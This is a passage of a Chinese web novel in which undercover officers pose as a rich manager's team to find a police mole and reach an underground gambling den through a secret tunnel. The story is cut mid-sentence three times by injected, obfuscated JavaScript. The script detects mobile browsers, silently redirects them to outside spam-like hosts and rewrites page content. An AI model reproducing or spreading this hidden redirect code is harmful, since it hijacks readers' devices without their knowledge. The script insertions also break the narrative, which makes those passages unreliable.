侯远山和陈丰也是第一次来这种酒店住宿，感觉大开眼界，尽量让自己保持低调，不要露馅。 周立言就淡定很多了。虽然他没有怎么接触过周家公司的业务，但是他知道他的家人在享乐方面是不会亏待自己的，每次出差旅行都是住最舒服最享受的地方，F市是他们经常过来出差的，这个酒店也是他们经常订的。 为了让周经理的身份更可信，他就让周父按平时的规格安排住宿。 在前台checkin的时候，周立言发现了一个有点尴尬的事，顺晟的人习惯地订了两个套房，顾问和助理一个套房，经理和秘书一个套房。 虽然说两个套房里面各有两个独立的房间，但是突然被这样安排，周立言担心程昭会心里不舒服。 周立言拿到房卡，走向程昭，小声和她说了眼下的情况。 周立言微微叹气：“……订房的人可能不知道我们里面有女士，按往常的方式订了房间。我们要不要换两个单人房？” 程昭想了一下，他们如果换成单人房，任务期间有人找上门来，就不能互相照应了。 于是她摇摇头：“没关系，我们住一起也比较安全，方便互相照应。房间是独立的，只要我们不尴尬，别人不会说什么。而且你在别人眼里可正派了，估计不会有人觉得你会趁机对我做什么。” 周立言耸了耸肩：“私底下和女朋友在一起，我可不能保证守规矩。” 程昭小脸微红，看到没有人留意他们，轻轻捶了周立言一拳：“在外面呢，先忍着。” 周立言作了个敬礼的手势：“遵命，我尽量。” 商量好了房间的事，周立言也和侯远山、陈丰说了房间的安排。 侯远山和陈丰性格比较大大咧咧，他们也没觉得周立言和程昭住一个套房有什么问题。毕竟房间是独立分开的，住一起还方便联络。而且周立言对异性一向很有分寸，除了对同事有点笑容，对外人一向都很冷淡，他们都不觉得周立言会对女下属做什么。 于是，房间的事就这样定下来了。 傍晚的时候，周立言收到了父亲秘书发过来的参观时间表。他们接下来四天，早上都去参观不同的公司，合作公司会招待他们参观和吃午饭，下午和晚上都没有安排，是他们的自由活动时间。 秘书还很贴心地给他们推荐了一些比较出名的娱乐场所，方便他们营造富家子弟挥金如土的形象。 67. 演戏 大家在酒店用过晚餐之后，一起到了周立言、程昭的套房，商量案件和钓鱼计划。 “啊，好撑，这个酒店的自助晚餐也太好吃了。”侯远山摸了摸自己吃得圆圆的肚子。 旁边的陈丰和程昭也跟着点点头，他们都放开肚皮吃了不少。 不愧是海边的豪华度假酒店，自助餐的海鲜无限量自取，又新鲜又好吃。 侯远山想起了远在A市的孙泽林、乔良，偷笑道：“如果被泽林知道，我们出差过得这么舒服，他肯定要妒忌死了，哈哈哈。” 周立言整理着陈岳留下的资料，向他们招了招手：“快点完成案件，等回去A市，我再请你们吃庆功宴。” “哇！大餐！” “来了来了。” 几个人围着茶几坐好，茶几上面摆放着几叠文件和两台笔记本电脑。 陈岳把案件相关的复印资料都留给了他们。 陈岳对内鬼泄密的事很在意，他一回警局就和技术员刘进，一起翻查了这几个月的工作日志，通过各种办法确定了接触过案件的人员名单，然后马上把名单发了过来。 因为在酒店不方便打印这种涉密的资料，他们只好直接在电脑上查看。 程昭先看了接触过案件的人员名单，留意到系统标记了其中三个人的名字： 【“派出所警员-贾俊义”、“派出所警员-马天雄”、“市局内勤-林淮波”】。 被标记的两个警员属于两个不同的派出所，一个是金堂饭店所在区域的派出所，一个是饭店旁边区域的派出所。他们都曾经参加过盯梢和突击检查行动。 市局内勤的人，负责审批很多内部申请，包括一些警队的加班申请和报销申请。 而且这个林淮波是陈岳上司的小舅子，多了这一层关系，估计林淮波可以接触到不少内幕消息。 人员名单上面的人数量很多，每个人的介绍都很简短，不过都贴了照片。看这个文件看不出太多东西。 因为没有证据指认那三个人是内鬼，程昭先默默把这几个人记在小本子上，没有马上说出来。 案件的相关文件里面，有一份金堂饭店人员的资料，其中还对几个重点人物做了一点详细调查。 金堂的员工，大部分都被系统标注了关联。职位越高的，排序越靠前。 李怀的详细调查，有个信息被系统标注了，排序特别靠前： 【“饭店经理李怀弟弟李凯的新豪酒吧”】。 酒吧？ 程昭微微皱眉，把这个记在本子上，准备找机会去查一下这个地方。 …… 看完资料，大家讨论案件的各种可能性，还有他们怎么去调查的方法。 因为不确定谁在泄密，他们不能直接和F市刑警那边合作，很多事都畏手畏脚。 程昭好想直接指出谁是内鬼，憋得可辛苦了。 不过饭店经理李怀相关的那个酒吧，可以提出来调查。 程昭指出了这个酒吧：“……这个酒吧虽然是挂在李怀弟弟的名下，但是从陈岳他们的调查可以看出，李怀弟弟没有什么钱，也没有做过酒吧相关的工作，突然开店，他很可能也是个傀儡店长。” 周立言点头：“是挺可疑的。我们明天去查一下。” …… 大家讨论了一下钓鱼计划，确定了各自要扮演的人设。 周经理这几个人，既要让别人相信他们是来F市出差的，又要让别人觉得他们人傻钱多。 主角周经理的人设，最好是那种贪玩爱炫富的，会不会干活做事倒是无所谓。其他几个人，需要有普通打工人，还有马屁精。 侯远山看了看其他人，陈丰和程昭演马屁精都不太像，便自觉领取了马屁精的人设。这个角色很重要，很可能会首先接触到赌场的介绍人。 陈丰开心地领取了打工人的人设。虽然他看起来很像打手，但是笑起来就是个憨厚的老实人，演打工人也不算出戏。 程昭的秘书角色，大家觉得可以假装成经理的女朋友，方便一起行动。 周立言的经理角色最重要，需要让别人相信他是个爱玩的富家子弟。 这样的形象和他平时的相差很大，大家都有点担心他会不会演不来。 周立言微微一笑：“你们放心，我心里有数。我有几个现成的模仿对象。” 他只要模仿他三弟和他那些朋友就可以了。 …… 讨论完，时间不早了，侯远山和陈丰回了房间，留下程昭和周立言。 程昭突然开始有点不好意思。 她不是第一次和周立言独处一室，他的家她也去过好多次了，只是第一次和他在外面过夜。 周立言看出程昭的小紧张，故意使坏向她靠近。 程昭眼睛都睁大了：“你想干嘛？” 周立言轻笑，程昭感觉他的气息，吹拂过她的脸。 周立言摸摸她的头发，在她的额头落下一个吻。 “早点睡吧，有什么事就叫我。” 说完，周立言就走回自己房间，走到门口，看到程昭还在红着脸发呆，他又笑着说：“想什么呢，在外面出差，我先忍着……不过如果你想要……” “我才没有！”程昭立刻跳了起来，匆匆忙忙地回房间了。 周立言听到程昭锁了房间门，忍不住想笑。 检查了一下套房的门窗，他也回房间洗漱睡觉了。 …… 一夜无梦，程昭意外地睡得很好。 早上大家在酒店吃完早餐，然后今天准备参观的公司负责人给程昭发来信息，说接送的车子准备到了。 程昭充当秘书的角色，和负责人沟通好行程的事宜。 周立言则翘着二郎腿，戴着墨镜，玩着手机，对参观的事毫不关心。 接送车子到了，周立言一行人上了车，到了参观的大楼。 负责人很热情地和周立言一行人寒暄，介绍公司的情况，带他们去了解公司的产品和参观生产车间。 程昭几个都好像听得很认真。 程昭和陈丰还装模作样地记了笔记，问了几个问题。 侯远山还不时夸人家几句，听得负责人十分开心。 周立言则是一脸矜持地听着，偶尔微笑，偶尔点头虚应，对合作的事宜不置可否，只说回去之后和老板汇报。 吃过午餐，负责人和司机毕恭毕敬地把周立言一行人送回酒店。 从合作公司的人反应看来，他们的伪装还算成功，接下来几天都这样演就可以了。 …… 稍作休息，周立言找了个租车行，然后拉着他们一起看车。 最后他们租了两辆车，一辆是不显眼的普通小轿车，一辆是昂贵的跑车。 低调的车是为了方便出行，高调的车是为了方便炫富。 …… 拿到车子，侯远山和陈丰先去查警察名单和饭店相关的情况。 周立言和程昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252721|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就继续扮演富家子弟和秘书女友。 周立言开着跑车四处兜风，还飙了一会车，差点因为超速吃罚单。 程昭都惊呆了，没想到周立言还有这样的一面，“周队，你这样真的很像纨绔子弟耶。” 周立言轻笑：“我都说了，我有模仿对象，假装一下还是可以的。” 除了飙车兜风晒跑车，周立言还带着程昭去了一些奢侈品牌店，想给她买礼物。 看到价格标签上一大串的零，程昭倒吸了好几口气，也不管会不会歪人设了，拉着周立言走到无人的地方。 程昭小声说：“你疯啦？只是演戏，你还真去买这么贵的东西？这些肯定不能报销的，万一退不了就麻烦了！” 周立言握住程昭的手，笑着说：“怕什么，我付得起。我本来也想送你礼物，刚好这次带你逛逛，喜欢就买了……什么钱都不花，纨绔子弟的人设怎么立得住？” “可是……” “没有可是，你只管去试，不要看价格，喜欢就是我送你的礼物，不喜欢的我们迟些再退掉。”周立言柔声说，“为了增加可信度，本来就要花钱的。” 程昭一脸犹豫。 周立言又加了一把火：“如果不买礼物，那么就要在其他地方花点钱了。晚餐的时候点几瓶贵价的酒，也是可以的。” 喝掉的酒，可没办法退货。酒水也不好报销。 程昭只好同意去买礼物。周立言愉快地带着程昭继续到处逛。 大牌的设计，确实很多东西都很漂亮，女孩子很难拒绝，程昭试了很多款手链项链手表。 周立言最后买了好几样亮晶晶的首饰和两只情侣对表。 其中手表和一条四叶草手链是自留的，其他那些比较花哨的是准备以后再退掉的。 …… 时间有限，除了演戏钓鱼，还要调查案件。 傍晚的时候，程昭和周立言回酒店换了一身装扮，稍作伪装。然后去新豪酒吧，和侯远山、陈丰汇合。 侯远山和陈丰有一些意外发现。 他们刚刚偷偷拍了一些照片，发现有几个应该是警察的人在酒吧里，其中有两个接触过赌场案。 侯远山举了一下手里的照相机：“幸好陈岳发过来的名单里面有照片，不然我们看到了也会错过。贾俊义、马天雄，这两个是饭店附近两个派出所的警员，参与过盯梢和检查行动。” 程昭放大照片，侯远山他们拍的照片很清晰地记录了两个警员和酒吧老板谈笑风生的情景。 周立言：“你们还有其他的发现吗？” 侯远山看了看陈丰，陈丰不好意思地挠挠头：“都怪我太显眼，我们进去没多久就出来了，只拍了一些照片。” 程昭：“那两个警员还在里面吗？” 侯远山：“如果他们没有从后门离开的话，应该还在里面。” 程昭看了看周立言，他和自己在酒店都伪装过，她还顺手给两人都化了妆，看起来就是两个大学生，不仔细看很难认出他们是谁。 周立言看到程昭的眼神，知道她想进去看看，“我和程昭进去看看，你们见机行事。” 众人点头。 周立言和程昭进入酒吧，这个时候是饭点时间，里面客人不算太多。最多人的桌子，就是那几个警员坐的桌子 程昭自然地四处张望，装成一副好奇学生的样子。 她悄悄打开了系统的关联表，想看看酒吧里面还有什么和案件、组织相关的人。 68. 酒吧 傍晚的酒吧客人还比较少，灯光昏暗迷离，播放着舒缓的音乐。 程昭和周立言一进来就引起了酒吧老板的注意。 程昭和周立言都感觉到，被几道打量的视线扫过全身。他们淡定地扮成普通客人的样子，随意打量店里的装潢，查看宣传海报、菜单。 酒吧老板仔细观察两人的打扮气质，觉得应该只是两个年轻的大学生情侣，就没太在意这两个人。 探究的视线渐渐消失，程昭两人微微松了一口气。 酒吧有晚餐供应，几个警员正在用餐，那两个之前被系统标记的警员也在其中。 有一个服务员走向程昭、周立言，询问了他们的人数，把他们引到了一个卡座，这个座位刚好离那几个警员不远。 程昭一边留意酒吧的情况，一边查看系统更新的信息。 【系统新增了几条记录，那几个警员里面又有两个人被系统标记了，不过关联性排序比之前那两个低很多。 “酒吧酒保”、“酒吧老板”也被标记了。 让她在意的是，酒吧一面墙壁的照片，有两张被标记了关联。】 照片太小，而她离得太远，想看清楚照片内容，必须找机会靠近。 那堵贴了照片的墙壁在乐队舞台旁边。 周立言拿着餐牌，随意点了两杯果汁两份小吃，服务员拿着单子走开了。 饮料小吃很快上桌了，周立言和程昭一边吃东西一边偷听几个警员的聊天内容。 因为放着背景音乐，他们说话的内容听得不太全，而且说的东西都是一些无关紧要的生活八卦。 周立言和程昭都觉得不会听到什么有用的信息了，两人对视，无奈一笑。 但是来都来了，偷听不到有用东西也不能立刻就走。这个店和金堂的人有密切关系，除了那几个警员，应该还会有其他的发现。 两人继续吃东西闲聊，假装普通客人。 慢慢的，店里的客人开始多了，乐队舞台那边有人正在准备演出。 程昭打算等乐队表演的时候过去凑热闹，给乐队拍照拍视频，然后拍下旁边的照片墙壁。 乐队开始演奏，歌手唱了一首轻快的流行曲当做开场。 渐渐的，有一些人凑过去围观录视频。 程昭见机会来了，也准备过去拍一下照片。 程昭：“周、言哥，我去乐队那边拍照，你在这边等我？” 周立言不太清楚程昭想做什么，不过他相信程昭不会乱来，“你去玩吧，小心一点，别被人撞到了。” 程昭点头，明白周立言话里的提醒：“你放心，我会注意的。” …… 乐队舞台边上，几个观众稀稀拉拉地围在旁边，程昭很自然地融入其中，快速地拍了几个照片，录了一段视频，顺便把酒吧老板、酒保等被系统标记的可疑人士都拍了进去。 准备回去的时候，乐队正在玩游戏，随机抽一名观众上台合唱，程昭刚好被抽中了。 程昭被聚光灯照射的时候吓了一跳，她还以为自己的偷拍行为被发现了。待乐队的人说明情况，她才松了一口气。 很多人都留意到乐队这边的小游戏，纷纷看了过来。酒吧老板和酒吧也一起看了过来，老板的眼神还带着几分探究。 无论是拒绝走开，还是加入表演，都挺引人注意的。 为了让自己更像一个普通客人，程昭干脆地答应了合唱，随意地选了一首经典歌。 合唱而已，独唱她都没问题。上辈子，她有丰富的打工经验，区区表演不在话下。 坏人应该很难想象，警察来打探消息，还会这么显眼包参加表演吧。 周立言看到程昭被叫到舞台上，有点担心地站了起来。 程昭看到周立言的动作，笑着朝他挥了挥手，示意没事，让他放心。 因为选这首经典歌刚好是经常演奏的曲目，乐队就没有去搜音乐，直接用乐器给他们伴奏。 音乐响起，男声部分先唱，乐队男歌手声音很清朗，他唱完了这一部分，准备在女观众唱得不好的时候帮忙带着她唱。 不过这位女观众一开口，他就知道自己多虑了，这个女生唱得和原唱差不多，节奏感很强，感染力很好。他朝程昭竖起大拇指。 台下的观众也很惊喜，以前乐队玩这种游戏经常会翻车，没想到这次抽中的嘉宾这么有实力。没留意游戏环节的客人，还以为台上的女生是店里新来的歌手。 歌声悠扬，很多客人都被感染到了，情不自禁地跟着旋律一起哼唱。 酒吧老板和酒保都收回了探究警惕的视线，各自做自己的事情去了。 程昭台风很稳，很完美地合唱完一首歌。 观众起哄，想让他们再来一首，程昭赶紧摇头拒绝，匆匆跑回卡座。 …… 周立言眼角眉梢都是笑意，轻轻地鼓掌：“堪比原唱了，你真厉害。” 程昭挠挠头，嘿嘿一笑：“多谢夸奖。” 程昭看到那几个警员已经离开了，眼神询问周立言。 周立言靠近程昭，凑到她耳边小声说：“你刚刚表演的时候，他们接到个电话离开了。我已经和其他人说了，他们会跟进。” 程昭微微点头。 既然几个警员已经离开了，他们也不久留了。 结账的时候，酒吧老板居然主动和他们聊了几句。他问程昭是不是音乐系的学生，感不感兴趣来店里打工。 “……我们酒吧现在只有男驻唱，一直想再招一个女驻唱。如果你感兴趣，这是我的名片。” 酒吧老板的语气还挺诚恳，程昭感觉他是真心想要招人。 不过，程昭只能拒绝他的一番好意了，“不好意思，我们只是来旅游玩几天的，暂时没打算在F市工作。” 酒吧老板有点失望，不过他还是把名片递给了程昭。 “没关系，我的名片你先收下，以后你找工作可以考虑来找我。我认识挺多人，在其他城市也有开店，有我推荐，待遇都挺不错的。” “呃，谢谢……” 组织的人朋友开的店，搞不好也和组织有关呢。 难得有人主动送上敲门砖，程昭开心地收下了。 …… 离开了酒吧，周立言收到了侯远山的信息。 那些警员回去了派出所，这几个人都领到了陈岳指派的任务。 侯远山担心陈岳会把重要任务安排给可疑的警员，便主动联系了陈岳。然后他们才知道，这是陈岳在设局调查内鬼。 陈岳收到侯远山的提醒，表示会特别留意那几个人。 陈岳还说，内部有人在打听A市刑警的消息，他已经锁定了几个嫌疑人，迟些再和周立言他们联系。 侯远山、陈丰看到是陈岳设局，就放弃跟踪那些警员，以免扰乱陈岳的计划。 了解完情况，周立言和程昭商量了一下，决定先静观其变，先回酒店吃饭和等待陈岳的调查结果。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272440|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 回到酒店，程昭和周立言换下了伪装。 程昭查看在酒吧偷拍的照片，发现系统标记的两个照片，背景都是一个海边的民宿，照片的主角是酒吧老板和一个女人。 【“照片的民宿”、“照片的女人”都被系统标记了关联。】 程昭把照片放大，递给周立言：“周队，你看看这两张照片，你知道这个女人是谁吗？” 周立言摇摇头：“不知道。从合照的姿势可以看出他们彼此很熟悉，应该是酒吧老板关系比较亲密的人。你把照片发给陈岳，让他帮忙查一下。” 程昭点头，然后编辑信息，把照片发给了陈岳。 …… 第二天，陈岳发来了信息，说警员里面确实是有内鬼。 他已经确定了几个泄密人的身份。不过考虑到可以利用内鬼传假消息，所以他们暂时没有把内鬼抓起来。 至于市局打听信息的人，陈岳还在查。 程昭看了陈岳发过来的内鬼名单。确定有问题的那些人，包含了昨天遇到的警员；怀疑有问题的那些人，包含了那个市局内勤。 于是她就放下了心，她不用再烦恼怎么提醒陈岳了。 …… 程昭他们吃过早餐，今天到第二个公司参观。 和昨天一样，程昭、周立言、侯远山、陈丰各自按照自己的人设，应付着参观的公司。 合作公司也没有发现他们不是顺晟的人，他们招待的态度比昨天的公司还要殷勤。 参观期间，程昭感觉有点肚子疼，趁休息的时候去了一趟洗手间。 释放完，程昭感觉自己舒服多了，然后她悲剧地发现自己来例假了。 尴尬了，随身的包包里面没有放卫生巾。她今天穿的还是浅色的套装裙。 程昭纠结要不要拿纸巾垫着应急的时候，听到有人进了洗手间聊八卦。 八卦的主角居然是他们一行人，不过严格来说，八卦的主角应该是顺晟和来访的周经理周子陵。 程昭怕她自己现在出去会让人尴尬，干脆在厕所里面多呆一会。当然了，有一部分原因是她好奇想听八卦。 女士A：“……顺晟的人居然提早来访了，不知道是不是有新的大计划。” 女士B：“也有可能是因为继承人内斗。” 女士A：“啊？什么内斗？” 女士B：“你没听说吗？顺晟的大老板姓周，他的几个儿子和私生子都在积极表现自己，想得到大老板的重用，拿到周氏集团继承人的身份。听说那个周经理是大老板的侄子，但是谁知道是侄子还是什么子。提前来视察，说不定是在抢谁的风头。” 女士A：“他的两个儿子好像在集团公司工作挺久了吧，没听说有什么大问题。为什么那些私生子会觉得自己有机会呢？” 女士B压低了声音：“我听过一个传言，不知道是不是真的……听说大老板也是私生子出生，所以大家就觉得私生子也有机会上位。” 女士A惊呼：“不会吧？” 女士B：“我也是听其他老员工说的，我们和顺晟合作几十年了。听说顺晟有部分股份曾经是过世的周老夫人持有的，她去世的时候把股份都给了她养大的孙子，一点遗产都没有留给大老板。如果大老板是周老夫人的亲生子，她怎么可能一点也不给他？” 又有人来洗手间了，两人止住了话头，上完厕所就走了。 程昭听了一耳朵八卦，有个隐隐的猜测浮上心头。 69. 周家和钓鱼 程昭莫名想起周立言说过他家的事，但是又觉得自己太多心了。 姓周的人那么多，哪有这么巧合的事。 但是周立言这么轻易就找到顺晟帮忙…… 在她胡思乱想的时候，周立言发来一个信息：怎么这么久？是不是身体不舒服？ 程昭立刻回过神来，现在不是胡思乱想的时候，她走开的时间有点久了。 她有点想叫周立言帮忙去买卫生巾，但是又觉得有点太麻烦。反正快参观完了，而且她月经刚开始的量不多，先用纸巾应付一下吧。 程昭回复了周立言：没什么，马上回来。 她整理完，就回去和队伍汇合了。 …… 如程昭所想的一样，参观很快结束了。 但是她没想到今天的公司请客吃饭的地方比较远，而且在海边，路上没有遇到便利店，她想中途下车去买个卫生巾都不行。 用餐期间，她一直坐立不安。周立言也察觉到她的不自然，频频看过来。 离开的时候，程昭让其他人先去停车场，她稍后跟上。 程昭一边祈祷一边小心地站起来，回头一看，椅子坐垫没有痕迹，她正准备松一口气。 周立言有点不放心，折返回来房间。 “你的裙子……”周立言愣了一下，然后反应过来，明白了程昭刚刚坐立不安的原因。 程昭连忙拿镜子照了一下身后，她穿了一套米色的裙装，屁股的位置隐隐透出一小块血痕，和浅色的衣服形成了鲜明的对比。 她的外套长度不够，遮不住屁股。程昭没办法，想要脱了外套围在腰上。 周立言先程昭一步，把他的外套绑在她的腰上，“你用我的吧，你外套穿好，特殊时期别着凉。” 外套还带着周立言的体温，透过衣服传到程昭身上，她感觉好像被他抱着一样。 程昭：“说不定会弄脏你的衣服。” 周立言毫不在意地笑了笑：“洗一下就行了，你和我还计较这些？” 程昭感觉有点开心：“好吧，我不客气了……早知道早上去厕所，就叫你帮忙买卫生巾了。” 周立言揉了揉她的头发，很认真地说：“下次有什么事都可以直接找我，不要害怕麻烦我。知道了吗？” “什么都可以问吗？”程昭抬头，看向周立言。 “什么都可以。”周立言笑着点头。 “……那我可以问，你和顺晟的关系吗？”程昭忐忑问道。 “可以啊，”周立言看了一下程昭的裙子，“不过，我们先回去吧，然后我慢慢告诉你？” 程昭囧了一下，她确实要快点回去酒店。 幸好这边离酒店不算太远，开车二十分钟不到就到了。 …… 回房间整理好，程昭懒洋洋地窝在沙发里。 房间电话响了，周立言接听，挂断后出去套房门外，拿了一杯子红糖水回来，递给程昭。 周立言：“我看网上都说，你们经期需要补充一点糖分，就问酒店要了一杯红糖水。” “谢谢，”程昭接过红糖水，“其实这些因人而异啦，我不会肚子疼，但是会感觉很累。” 周立言：“累的话，就好好休息吧。案件的事，需要奔波的部分让我们来。收集线索回来，我们再一起讨论。” 程昭连忙拒绝：“不至于，不至于，我可以正常工作的，不用这样迁就我。” 周立言：“那你不舒服的时候，记得和我说。” 程昭点头。 周立言坐到程昭身旁，从身后环抱着她，隔着衣服用手心焐热她的肚子。 “你怎么突然想知道我和顺晟的事？”周立言有点好奇。 程昭把在洗手间偷听到的八卦，说给周立言听：“……不知道为什么，我就有点联想到你了。” 周立言想了一下：“其实八卦的内容基本上都是真的。顺晟是周氏的子公司，大老板周青海是我父亲。我家的情况我之前也有和你说过一些，比较复杂，我本来想找个合适的机会再和你详细说的，对不起。” 程昭：“你也不用道歉啦，你之前也有说过一些，不过我没想到这么复杂，也没想到你家这么有钱。” 周立言给程昭大概地讲了一下周家的发家史，又讲了一下周父的身世和情史。 周爷爷周奶奶的那个年代经历过一些动荡，周奶奶因为意外伤了身体，不能怀孕。周爷爷对妻子很好，但是很看重传宗接代，于是在外面找了其他女人，生了几个私生子。最后周父得到了继承人的身份。 周爷爷去世以后，周奶奶本来不理周家的事，但是周立言长得像周爷爷，她起了怜悯之心，把他领回家养大，后来还把一部分遗产给了他，让他可以脱离周父的经济控制。 周家的现状，是周父掌权，周立言的大哥三弟争权夺势，周父的其他私生子在一边虎视眈眈，甚至周爷爷其他私生子的后代，也在浑水摸鱼。 周家的确很有钱，但是也是一个泥潭。 周立言没打算回去再争什么，他只想过好自己的生活。 听完了周立言的话，程昭转身抱了一下周立言，表示安慰和理解。 程昭：“你现在这样已经很好了，有喜欢的事业，有足够的经济来源。已经比很多人都幸福了。” 周立言：“现在还有你陪着我，我也觉得自己很幸福。” 两人静静依偎在一起。 程昭本来因为两人家庭差距而感到了一些压力，不过听完周立言的坦白，她又觉得无所谓了。 交往本来就是他们两个的事而已，合适就在一起，不合适就分开。现在他们彼此喜欢就足够了，以后的事以后再说。 周立言突然想起了一些事：“你的事，我还没有和家里说。之前我们刚在一起，我担心说了，他们会来打扰你。但是经过这段时间的出差，估计他们会猜到我们的关系。所以我在考虑，要不要回去之后和他们挑明，说清楚我的态度。他们说不定会来找你，你怕不怕？” 程昭噗呲一下笑了：“难道他们会和电视剧那样，拿一笔巨款让我和你分手吗？” 周立言苦笑：“还真有可能。你会抛下我吗？” 周立言的语气和眼神都带着一丝忐忑，程昭笑了：“只要你不离开，我就不会抛下你。” 周立言满意地笑了，“一言为定。” …… 陈岳那边，针对泄密者的调查完成了。 泄密者名单包含了程昭系统标记的人。为了避免打草惊蛇，他们先秘密监控了内鬼的一举一动，没有把人抓起来。 周立言这边可以放心和陈岳的其他队员对接案件，互通消息，调查的进度一下子快了不少。 之前程昭发过去的照片，陈岳他们找到了照片上的民宿和女人。 那个民宿刚好在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14290029|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金堂饭店旁边，那个女人是民宿老板的女儿。 陈岳他们没想过民宿老板女儿和酒吧老板之间有关系。因为民宿老板女儿也很少出现在民宿，据说常年在国外工作。他们调查的时候都忽略了这个人。 那两张照片是很久以前的照片，陈岳他们花了一些功夫才确定了女人的身份。 酒吧老板李凯，是金堂饭店经理李怀的弟弟。 那个酒吧很可能是李怀的产业。 民宿会不会也和金堂饭店有关系？ 陈岳他们之前多次上门查探，都没发现地下赌场设置在哪里，也没看到赌客们是怎么进出的。民宿和金堂饭店相隔不远，会不会有什么猫腻？ 陈岳他们继续查探。 周立言他们为了继续钓鱼，没有直接加入陈岳的调查队伍。 …… 钓鱼行动也有了一些进展。 有人接触侯远山，问起了周经理的喜好。 侯远山按照剧本的设定，先是怀疑对方的来历，听到他们有门路去参加赌局，又看到他们的宣传单，才答应回去询问周经理对赌局感不感兴趣。 周立言当然不会说自己不感兴趣了，还追问了有什么玩法，可以赌多大。 因为他们这段时间的演戏，还有顺晟和合作公司的背景，赌场的人没有怎么怀疑他们的身份，很爽快地给他们发出了邀请函。 邀请函上面，规定了只能被邀请者只能带一个人一起入场，集合地点在金堂饭店，入场时间是夜晚19~22时。 周立言他们有点苦恼，周经理带谁过去比较合适。 周立言是一定要出席的。 剩下的几个人，程昭武力值不够高，但是她的观察力最敏锐；侯远山亲和力比较强，有一定武力值；陈丰武力值最高，但是他的强壮太明显了，很引人注目，不方便低调行事。 邀请函上面的集合地点、入场时间，这些用词也让他们有点在意。 陈岳他们勘测过金堂饭店，那边的地质不适合挖大型的地下室，即使有地下室，面积应该不会太大。但是金堂的资金让他们感觉，这个地下赌场规模不少。 集合点在金堂饭店，会不会大赌场在其他地方？ 经过一番讨论，最后还是决定周立言带着程昭去赌场。 程昭有观察力，周立言有武力值，应该足够应付场面。 …… 周立言和程昭一番打扮伪装，然后到了金堂饭店。 靠近饭店的时候，程昭凭借系统，发现了一些不寻常的地方。 这个建筑二楼一楼最右侧的房间，和三楼的房间有一些偏差。通过系统的提示，程昭发现那里有一个秘密通道，从二楼通往一楼，甚至可能通往地下。 程昭悄悄地告诉了周立言。 两人偷偷把消息传了出去，并让侯远山、陈岳等人先不要轻举妄动。 金堂饭店的人把周立言二人引进店里，让他们按邀请函规定，先点了一个很贵的套餐当做门票。 他们照办了。 饭店的人把他们带到二楼，进入了密道。 密道通往了地下，连接着一个面积不算太大的娱乐场，里面玩的东西，似乎也不是什么高额的赌博项目。在娱乐场里面玩的人也不算很多。 周立言装出一副上当受骗的样子，生气地说：“我付了这么多钱买那个所谓的门票套餐，你们就给我玩这种东西？” 70. 赌场 看到客人生气的样子，带路的服务员仿佛已经司空见惯了。 他淡定又带着一丝讨好，笑着说：“请客人稍安勿躁，这里算是我们的赌场前厅。请你们在这里等候片刻，我们会有专人来搜身，以防有客人带了危险武器或者什么作弊设备到赌场里面，请见谅。” 周立言、程昭微微皱眉。 他们身上没有拿明显的武器，但是带了微型的窃听器，还有几件不显眼的小装备。小装备设计别致，挺难发现实际用途。但是窃听器万一被发现，他们的身份就要露馅了。 服务员离开了，应该是去找搜身的人过来。 周立言和程昭对视一眼，拉着她到旁边的沙发坐下。他靠近程昭，脸上带着戏谑的笑意，低声说：“你把你身上的窃听器给我。” 程昭暂时没有想到什么好的方法，便听从周立言的话，把窃听器给了他。 周立言把两人携带的窃听器藏到了袖口，然后若无其事地到处打量。 程昭有点担心，但是有人来了，她看了周立言一眼。 周立言回了她一个安抚的眼神，然后不耐烦地看向走过来的人：“我去过这么多个会所，第一次遇到你们这样的服务态度，居然还要给客人搜身。” 负责搜身的是一个有几分姿色的风情美女，她看到周立言，热情地向他抛了一个媚眼，嬉笑着说：“我们小心谨慎，客人才会玩得安心呀！我们都是为了客人的安全着想。” 周立言冷笑一声，站起身，把手机钱包给搜身人看了一眼，然后拿在手上，让她拿检测棒去搜他的身体。 周立言：“手机和钱包你们看过了，我就拿在手上。我以前看到过一些骗局，手机和钱包不敢离开视线。我配合你们，你们也不要太为难我，不然我就不去了，你们直接退门票吧。” 搜身的女人略显为难，看了一眼房间里面的保安，保安微微点头。 搜身人：“好吧，麻烦你张开双臂……” 程昭有点小紧张，担心检测棒会有反应。 搜身人没有测出什么异样，周立言顺利通过了检查。 程昭也照样拿着手机，被搜身检查，通过了检查。 …… 检查完，服务员带着他们继续往前走，进入了另一条仅能一人通过的窄长密道。 程昭回忆了一下走过的路线，感觉他们应该已经离开了金堂饭店的范围。 她凭借推测和系统提示，确定了这个密道通往金堂饭店旁边的民宿。 从密道出来，他们来到一个储物间，走出来是一个厨房。 程昭观察了一下四周，他们来到了那个海边的民宿。 民宿的装修和酒吧照片里面的完全不同。 